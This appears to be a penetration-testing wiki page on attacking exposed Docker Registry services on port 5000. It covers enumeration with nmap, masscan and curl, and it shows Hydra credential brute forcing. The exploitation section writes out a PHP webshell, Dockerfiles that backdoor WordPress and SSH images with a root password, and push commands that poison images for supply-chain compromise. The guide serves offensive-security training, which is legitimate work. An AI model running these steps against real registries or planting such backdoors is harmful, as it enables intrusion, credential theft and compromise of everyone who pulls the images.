Docker Registry - PORT 5000

Basic Info

A Docker registry is a storage and distribution system for Docker images. These images are grouped into repositories, and each repository can store multiple tagged versions of an application or service. Registries allow developers to upload (push) their images and download (pull) them to deploy containers anywhere.

By default, Docker uses DockerHub as its public registry, but organizations often set up their own on-premise Docker registries—either with the open-source distribution or the commercial Docker Trusted Registry. Other public registries also exist across the internet.

For example, pulling an image from a private registry looks like this:

docker pull my-registry:9000/foo/bar:2.1

This fetches version 2.1 of the foo/bar image from the registry at my-registry:9000. From DockerHub, the same image (if 2.1 is the latest) can be pulled with a simpler command:

docker pull foo/bar

The default port for Docker Registry is 5000, which appears in scans as:

PORT     STATE SERVICE  VERSION
5000/tcp open  http     Docker Registry (API: 2.0)

If this service is exposed without authentication, it can leak sensitive images, configs, and secrets directly to an attacker.


Enumeration

The easiest way to discover a Docker Registry service is via Nmap:

nmap -p 5000 <target>

However, since Docker Registry is HTTP-based, it could also be hidden behind proxies or reverse proxies — meaning Nmap alone might not always detect it.

Fingerprinting Tricks:

  • Accessing / → usually nothing is returned.

  • Accessing /v2/ → the service often returns an empty JSON:

{}
  • Accessing /v2/_catalog → may list all available repositories:

{"repositories":["alpine","ubuntu"]}
  • If authentication is enabled, you’ll often see:

{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

These simple checks confirm the service and tell you whether it’s open to the world or locked down.


Using .nse (Nmap script engine)

The default Docker Registry runs on TCP port 5000. Start by scanning:

nmap -p5000 --script http-docker-registry-discover <target>

Or with Masscan for a wide sweep:

masscan -p5000 0.0.0.0/0 --rate=10000 -oG docker.txt

If port 5000 is open, it’s worth testing further.


HTTP/HTTPS (Using curl)

Docker registry may be configured to use HTTP or HTTPS. So the first thing you may need to do is find which one is being configured:

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

Enumerate tags

curl http://<target>:5000/v2/app/tags/list

This shows available versions of the image.

Fetch the Manifest of a Specific Tag

curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest

Download a Blob (Layer)

curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

Extract and Inspect the Layer

tar -xf blob1.tar

Enumeration Using Docker

Beyond curl, you can interact directly with the target registry using the Docker client. This is often more convenient for downloading and inspecting images.

1. Pull an Image from the Target Registry

Once you’ve enumerated the available repositories with /v2/_catalog, you can pull them directly:

docker pull 10.10.10.10:5000/ubuntu

2. Review Image History

After pulling, check the history of the image to reveal the commands used to build its layers. These often expose secrets, build scripts, or configuration mistakes:

docker history 10.10.10.10:5000/ubuntu

Example output:

IMAGE               CREATED             CREATED BY                                      SIZE    COMMENT
ed05bef01522        2 years ago         ./run.sh                                        46.8MB
<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

Why this matters: Developers often bake in sensitive files during builds, then forget to remove them. Even if later layers overwrite these files, they remain in history.

3. Run the Image

Start a container and obtain a shell:

docker run -it 10.10.10.10:5000/ubuntu bash

This drops you inside the container filesystem. Leave this running for exploration.

4. Get Another Shell Inside the Running Container

From another terminal, list running containers:

docker ps

Then connect to it:

docker exec -it 7d3a81fe42d7 bash

Pro Tip: Using docker exec, you can pivot inside the container, look for SSH keys, environment variables, or misconfigured services — often leading to privilege escalation or lateral movement inside the target’s infrastructure.


Automate tools for enum

Enumeration using DockerRegistryGrabber

Manually enumerating a Docker Registry with curl works, but it can be slow and repetitive when dealing with many repositories, multiple tags, and authentication. That’s where DockerRegistryGrabber comes in.

DockerRegistryGrabber is a Python tool that allows penetration testers to enumerate and dump Docker registries — both with and without authentication. It automates:

  • Enumerating repositories (/v2/_catalog)

  • Listing available image tags (/v2/<repo>/tags/list)

  • Pulling and downloading layers locally for analysis

  • Supporting Basic Authentication (username:password)

This makes it a powerful choice when exploring large or hidden registries that could store sensitive images.

Installation

Clone the repository and install dependencies:

git clone https://github.com/Syzik/DockerRegistryGrabber
cd dockerRegistryGrabber
pip install -r requirements.txt

Usage Examples

  • Unauthenticated Enumeration:

    python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000

    This will fetch repositories from the open registry.

  • Authenticated Enumeration:

    python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000 -a username:password

    Useful if the registry is protected by Basic Auth.

  • Dumping Images:

    python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000 -d

    This downloads the full image layers for offline inspection (config files, secrets, etc.).


Authentication

Docker Registry may also be configured to require authentication. The first check is as simple as hitting the catalog endpoint with curl:

curl -k https://192.25.197.3:5000/v2/_catalog

Possible Responses

  • If authentication is required:

{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
  • If no authentication is required:

{"repositories":["alpine","ubuntu"]}

👉 If you encounter authentication, you can attempt brute force attacks against the registry’s credentials. Common wordlists like rockyou.txt can be used with tools such as Hydra or custom scripts.

Once valid credentials are discovered, you can use them to enumerate the registry. With curl, the syntax is:

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Hydra

hydra -L /usr/share/seclists/wordlists/simple-users.txt  -P /usr/share/brutex/seclists/password.lst 10.10.10.10 -s 5000 https-get /v2/

This will return the repositories available under that account, which you can then pull and inspect for secrets or misconfigurations.


Exploitation

Pulling Sensitive Images

If pulling is allowed:

docker pull <target>:5000/app:latest

Then inspect the image layers:

docker history <target>:5000/app:latest
docker run -it <target>:5000/app:latest /bin/sh

Hackers often extract secrets from inside these images. Look for:

  • .env files

  • Configs in /app/config or /root/

  • Hardcoded passwords in source code

Example:

docker run --rm -it <target>:5000/backend:prod cat /app/config.yaml

Backdooring Docker Images

Once you can pull and push images to a misconfigured Docker Registry, you effectively have the power to inject malicious code into production workloads. Two common exploitation techniques are WordPress image backdooring and SSH image backdooring.

Backdooring a WordPress Image

If the registry contains a WordPress image, you can embed a simple PHP webshell:

1. Create your webshell

// shell.php
<?php echo shell_exec($_GET["cmd"]); ?>

2. Create a Dockerfile that inserts it into WordPress

FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

3. Build and push the malicious image

docker build -t 10.10.10.10:5000/wordpress .
docker images
docker push 10.10.10.10:5000/wordpress

Result: Next time the target pulls and runs this WordPress image, you’ll have remote code execution via the /app/shell.php?cmd=id endpoint.


Backdooring an SSH Server Image

Attackers can also abuse SSH-based images for persistent access.

1. Pull and run the target’s SSH image

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

2. Extract the SSH configuration file

docker cp <container_id>:/etc/ssh/sshd_config .

Modify it to allow root login:

PermitRootLogin yes

3. Create a Dockerfile that adds the modified config & a backdoor password

FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

4. Build and push the backdoored image

docker build -t 10.10.10.10:5000/sshd-docker-cli .
docker images
docker push 10.10.10.10:5000/sshd-docker-cli

Result: If deployed, you gain root SSH access with the password you injected.


Poisoning the Registry

If push is enabled without authentication, the situation is catastrophic. An attacker can poison existing images:

docker tag backdoor:latest <target>:5000/app:latest
docker push <target>:5000/app:latest

Now every time a developer pulls app:latest, they get your backdoor. This is supply chain compromise at its worst.


Last updated

Was this helpful?